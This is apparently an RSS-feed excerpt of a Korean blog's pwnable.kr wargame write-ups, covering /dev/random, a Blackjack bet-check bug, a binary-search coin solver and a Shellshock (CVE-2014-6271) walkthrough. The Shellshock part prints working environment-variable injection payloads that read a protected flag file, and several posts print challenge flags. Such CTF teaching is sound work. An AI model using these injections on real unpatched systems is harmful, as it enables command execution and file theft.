&lt;pre class=&quot;brush:plain&quot;&gt;The random number generator gathers environmental noise from device drivers and other sources into an entropy pool. The generator also keeps an estimate of the number of bits of noise in the entropy pool. From this entropy pool random numbers are created.

When read, the /dev/random device will only return random bytes within the estimated number of bits of noise in the entropy pool. /dev/random should be suitable for uses that need very high quality randomness such as one-time pad or key generation. When the entropy pool is empty, reads from /dev/random will block until additional environmental noise is gathered.

A read from the /dev/urandom device will not block waiting for more entropy. As a result, if there is not sufficient entropy in the entropy pool, the returned values are theoretically vulnerable to a cryptographic attack on the algorithms used by the driver. Knowledge of how to do this is not available in the current unclassified literature, but it is theoretically possible that such an attack may exist. If this is a concern in your application, use /dev/random instead.&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;의사난수&lt;/b&gt;를 발생시키는&amp;nbsp;&lt;b&gt;리눅스 파일 시스템&lt;/b&gt;에는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;/dev/urandom&lt;/b&gt; 이외에도 &lt;b&gt;/dev/random&lt;/b&gt;이 존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;둘은 모두 같은 엔트로피 풀에서 파생되는데요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;/dev/random&lt;/b&gt;이 더욱 안전하지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;/dev/urandom&lt;/b&gt;는&amp;nbsp;많은양의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;난수를 생성해도 성능 저하가 덜하다고 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/74</guid>
      <comments>https://posix.tistory.com/74#entry74comment</comments>
      <pubDate>Sun, 10 Feb 2019 09:55:53 +0900</pubDate>
    </item>
    <item>
      <title>Blackjack 문제풀이</title>
      <link>https://posix.tistory.com/73</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?


Running at : nc pwnable.kr 9009&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 12번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://ko.wikipedia.org/wiki/%EB%B8%94%EB%9E%99%EC%9E%AD&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;블랙잭 게임&lt;/a&gt;의 &lt;a href=&quot;https://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;소스코드&lt;/a&gt;와&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Netcat&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;Netcat&lt;/a&gt; 접속을 위한&amp;nbsp;주소가 주어집니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:c&quot;&gt;int betting() //Asks user amount to bet
{
 printf(&quot;\n\nEnter Bet: $&quot;);
 scanf(&quot;%d&quot;, &amp;amp;bet);
 
 if (bet &amp;gt; cash) //If player tries to bet more money than player has
 {
        printf(&quot;\nYou cannot bet more money than you have.&quot;);
        printf(&quot;\nEnter Bet: &quot;);
        scanf(&quot;%d&quot;, &amp;amp;bet);
        return bet;
 }
 else return bet;
} // End Function&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;사이트에 접속하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;대략 800줄&amp;nbsp;길이의 소스코드를 확인할 수 있는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;1포인트 문제인만큼, 소스 코드에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;심각한 오류가 포함되어 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;게임에 사용할 배당금을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소지금 이상으로 등록하지 못하도록 해야 하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그 검증을 1회만 수행하며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;반복 입력에 대해서는 대처하지 못하고 있는 상황입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;Cash: $500
-------
|S    |
|  4  |
|    S|
-------

Your Total is 4

The Dealer Has a Total of 10

Enter Bet: $1000000

You cannot bet more money than you have.
Enter Bet: 1000000
&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 2회 반복하여 소지금 이상의&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;배당금을 제시하면 결국 등록에 성공하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;YaY_I_AM_A_MILLIONARE_LOL


Cash: $1000500
-------
|D    |
|  J  |
|    D|
-------

Your Total is 10

The Dealer Has a Total of 8

Enter Bet: $
&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;승리 시에 배당금 만큼의 금액을 휙득하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;새롭게&amp;nbsp;게임을 시작하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;상단에 플래그의 확인할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/73</guid>
      <comments>https://posix.tistory.com/73#entry73comment</comments>
      <pubDate>Sun, 10 Feb 2019 09:25:52 +0900</pubDate>
    </item>
    <item>
      <title>Coin1 문제풀이</title>
      <link>https://posix.tistory.com/72</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Toddler's Bottle 11번 문제&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 문제는 보안 문제라기 보다는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;코딩 문제&lt;/b&gt;에 가깝습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;알고리즘을 배우고 한동안 쓸일이 없었는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;활용할 기회가 생겨 즐겁더군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;fd@ubuntu:/tmp/Posix/coin1$ nc localhost 9007

        ---------------------------------------------------
        -              Shall we play a game?              -
        ---------------------------------------------------

        You have given some gold coins in your hand
        however, there is one counterfeit coin among them
        counterfeit coin looks exactly same as real coin
        however, its weight is different from real one
        real coin weighs 10, counterfeit coin weighes 9
        help me to find the counterfeit coin with a scale
        if you find 100 counterfeit coins, you will get reward :)
        FYI, you have 60 seconds.

        - How to play -
        1. you get a number of coins (N) and number of chances (C)
        2. then you specify a set of index numbers of coins to be weighed
        3. you get the weight information
        4. 2~3 repeats C time, then you give the answer

        - Example -
        [Server] N=4 C=2        # find counterfeit among 4 coins with 2 trial
        [Client] 0 1            # weigh first and second coin
        [Server] 20                     # scale result : 20
        [Client] 3                      # weigh fourth coin
        [Server] 10                     # scale result : 10
        [Client] 2                      # counterfeit coin is third!
        [Server] Correct!

        - Ready? starting in 3 sec... -

N=664 C=10&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주어진 포트로 &lt;a href=&quot;https://en.wikipedia.org/wiki/Netcat&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;Netcat&lt;/a&gt;을 사용해 접속하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;게임에 대한 설명이 나옵니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;간단히 요약하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;주어지는 N개 동전&amp;nbsp;중에 섞여있는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;무게가 9인 &lt;b&gt;가짜 동전&lt;/b&gt; 하나를&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;C번 만에 찾아내면 되는 게임입니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다만 &lt;b&gt;60초 안에 100번&lt;/b&gt;을 찾아내야 하니&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인간의 손으로는 불가능 할 것 같군요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;format error&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;참고로 문제 설명에 제시되지는 않았지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동전을 찾아내는 것은 마지막 찬스여야만 합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그 이전에 동전을 찾아서 번호를 입력해도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;무게만 출력될 뿐이지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;또한 가짜 동전을 마지막 기회에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;무게를 조회하겠다고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다수의 코인 번호를&amp;nbsp;입력하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위와 같이 &lt;b&gt;형식 오류&lt;/b&gt;가 뜹니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:py&quot;&gt;#! /usr/bin/python

from pwn import *
import re
import sys

p = re.compile('N=(\d+) C=(\d+)')

def range_sum(begin, end):
		query = ' '.join(str(i) for i in range(begin, end))
		
		conn.writeline(query)
		res = conn.readline()
		
		if res.find('Correct!') != -1 or int(res) == 9:
			while res.find('Correct!') == -1:
				conn.writeline(query)
				res = conn.readline()
			
			sys.stdout.write(res)
			return -1
		
		return int(res)

def find_counterfeit(begin, end):
	
	if begin + 1 == end:
		range_sum(begin, end)
		return -1
		
	mid = (begin + end) &amp;gt;&amp;gt; 1
	
	left_sum = range_sum(begin, mid)
	
	if left_sum == -1: return
	
	if left_sum != (mid - begin) * 10:
		find_counterfeit(begin, mid)
	else:
		find_counterfeit(mid, end)


if __name__ == '__main__':
	conn = remote('localhost', 9007)
	conn.read()

	sleep(4)
		
	while True:
		info = conn.readline()		
		m = p.search(info)
		
		if info == 'Congrats! get your flag\n':			
			sys.stdout.write(info + conn.read())
			break
		
		N = int(m.group(1))
		
		find_counterfeit(0, N)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 문제는 &lt;a href=&quot;https://ko.wikipedia.org/wiki/%EC%9D%B4%EC%A7%84_%EA%B2%80%EC%83%89_%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;이진탐색&lt;/a&gt;을 사용해 푸는 문제로서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;C는 이진탐색을 사용해&amp;nbsp;반드시&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;답을 찾아낼 수 있는 값으로 지정됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;만약 이진탐색 알고리즘을 사용해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;스크립트를&amp;nbsp;작성했는데도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;타임아웃 오류&lt;/b&gt;가 난다면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;인터넷 지연에 의한 것일&amp;nbsp;확률이 높으므로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이전에 사용했던 pwnable.kr의 ssh 계정을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;아무거나 이용하여 서버 내부에서 스크립트를 실행하도록 합시다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;fd@ubuntu:/tmp/Posix/coin1$ ./solve.py
[+] Opening connection to localhost on port 9007: Done
Correct! (0)
...
Correct! (98)
Correct! (99)
Congrats! get your flag
b1NaRy_S34rch1nG_1s_3asy_p3asy
[*] Closed connection to localhost port 9007&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서버 내부에서 스크립트를 실행해&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 휙득했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/72</guid>
      <comments>https://posix.tistory.com/72#entry72comment</comments>
      <pubDate>Sat, 9 Feb 2019 12:39:22 +0900</pubDate>
    </item>
    <item>
      <title>Shellshock 문제풀이</title>
      <link>https://posix.tistory.com/71</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)


ssh shellshock@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;쉘 쇼크&lt;/a&gt;는 2014년에 발표된&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Bash 환경변수 설정 관련 취약점으로&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;동일년도에 발표된&amp;nbsp;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;하트 블리드&lt;/a&gt; 보다도&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;심각하다고 진단 되었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;쉘쇼크 취약점&lt;/b&gt;이란 무엇인지&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;간단하게 개념 설명을 하고 넘어 가겠습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ foo() { echo hello; }
shellshock@ubuntu:~$ foo
hello&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;Bash 에서는&amp;nbsp;&lt;b&gt;함수&lt;/b&gt;를 작성할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;여타 언어들과 유사하게&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;중괄호 사이에 명령문을 삽입해 주는 것으로 선언이&amp;nbsp;가능한데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;중괄호와 명령문 사이에 공백이 필요하다는 것을 제외하면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;간단하게 사용이 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ export foo='() { echo hello2; }'
shellshock@ubuntu:~$ ./bash
shellshock@ubuntu:~$ foo
hello2&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;함수를 &lt;b&gt;환경변수&lt;/b&gt; 내에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;선언하는 것도 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;다만 바로 사용할 수 없고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;환경변수에 함수를 선언하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;새롭게 &lt;b&gt;서브쉘&lt;/b&gt;을 열어주면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;부모쉘의 환경변수를 복사해 오는 과정에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;선언이 되는 것이지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;HOME=/home/shellshock
LANGUAGE=en_US:
LOGNAME=shellshock
SSH_CONNECTION=61.84.181.30 50563 192.168.1.186 22
x=foo() { echo 123; }
XDG_RUNTIME_DIR=/run/user/1019
_=/usr/bin/env&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령문&amp;nbsp;실행시&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;부모쉘의 환경변수의 내용은 위과 같아지는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;x의 환경변수를 가져오는 과정에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;foo() { echo 123; }&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이 실행되어 함수가 정의됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ export foo='() { return; }; echo hello'
shellshock@ubuntu:~$ env | grep foo
foo=() { :; }; echo hello
shellshock@ubuntu:~$ ./bash
hello&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제는 함수&amp;nbsp;정의문&amp;nbsp;뒤에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령문을 붙여넣을 경우에 발생합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;이미 중괄호가 닫혔기에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;뒷 부분은 무시되어야 하지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;그렇지 못하고&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;함수에 속하지 않기 때문에&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;별도로 호출하지 않아도&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;서브쉘만 생성된다면 환경변수가 초기화되는 과정에서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;뒤의 명령어는 실행됩니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;추가로 환경변수를 설정하는 방법 중에는&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;env&lt;/b&gt; 라는 명령어도 존재하는데&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;환경변수 설정 후에 실행될 명령문을&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;뒤쪽에&amp;nbsp;추가하는 것이 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ env x='() { :; }; echo hello' ./bash -c ''
hello&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;따라서 위와 같은 한 문장으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;환경변수 설정 및 서브쉘 생성을 동시에 할 수 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;추가로 함수 내부에 속한&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3224878/what-is-the-purpose-of-the-colon-gnu-bash-builtin&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;: (colon)&lt;/a&gt;은 &lt;b&gt;Bash&lt;/b&gt;의 &lt;b&gt;빌트인 변수&lt;/b&gt;이며&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;관례적으로 &lt;b&gt;true&lt;/b&gt; 를 대신해서 쓰이는 것으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문장을&amp;nbsp;줄이기 위해 사용했습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;total 960
-r-xr-xr-x 1 root shellshock     959120 Oct 12  2014 bash
-r--r----- 1 root shellshock_pwn     47 Oct 12  2014 flag
-r-xr-sr-x 1 root shellshock_pwn   8547 Oct 12  2014 shellshock
-r--r--r-- 1 root root              188 Oct 12  2014 shellshock.c&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;문제로 돌아와서, 파일을 조회해보면&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;추가로 Bash 바이너리가&amp;nbsp;존재합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)&lt;/pre&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;버전을 조회해보니 구버전으로&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쉘쇼크 패치가 이루어지지 않은 상태였습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system(&quot;/home/shellshock/bash -c 'echo shock_me'&quot;);
        return 0;
}&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;소스를 살펴보면 &lt;b&gt;system&lt;/b&gt; 함수를 사용해서&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;구버전 Bash를 통해 서브쉘을 생성하고 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;쉘쇼크를 적용할 수 있는 환경인 것이지요.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ export x='() { :; }; /bin/cat ./flag'
shellshock@ubuntu:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;환경변수에 플래그를 출력하도록&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;명령문을 집어넣은 후에 바이너리를 실행하자&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;플래그를 얻을 수 있었습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre class=&quot;brush:plain&quot;&gt;shellshock@ubuntu:~$ env x='() { :; }; /bin/cat ./flag' ./shellshock&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;위에서 언급한 것과 같이&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;한 문장으로 축약하는 것도 가능합니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame Writeups/pwnable.kr</category>
      <author>POSIX</author>
      <guid isPermaLink="true">https://posix.tistory.com/71</guid>
      <comments>https://posix.tistory.com/71#entry71comment</comments>
      <pubDate>Fri, 8 Feb 2019 12:11:27 +0900</pubDate>
    </item>
    <item>
      <title>Mistake 문제풀이</title>
      <link>https://posix.tistory.com/70</link>
      <description>&lt;pre class=&quot;brush:plain&quot;&gt;We all make mistakes, let's move on.
(don't take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh mistake@pwnable.kr -p2222 (pw:guest)&lt;/pre&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;Toddler's Bottle 9번 문제.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;코딩 오류를 찾아내는 문제로&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b&gt;연산자 우선순위&lt;/b&gt;와 관련이 있습니다.&lt;/p&gt;
&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
